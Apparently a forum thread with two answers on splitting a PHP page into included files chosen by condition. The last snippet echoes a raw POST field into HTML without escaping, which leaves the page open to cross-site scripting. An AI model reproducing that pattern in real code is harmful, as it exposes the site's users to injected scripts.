Then within YourForm.php add the HTML that you want to have then within index.php add
require_once("includes/YourForm.php");
While I don't agree with the way you're doing it right now what I posted should work.
Not sure why the require isn't formatting as code.. Sorry.
Why do you echo HTML in a PHP file . what you can do is , you can include HTML files in your condition . example :-
if(condition 1)
{
include "one.php";
}
else if(condition 2)
{
include "two.php";
}
in your one.php and two.php you have your HTML , in your case your all HTML will go to one of these files . in that file you can echo your variable
<div id="email-input"><?php echo $_POST['fes-email']; ?></div>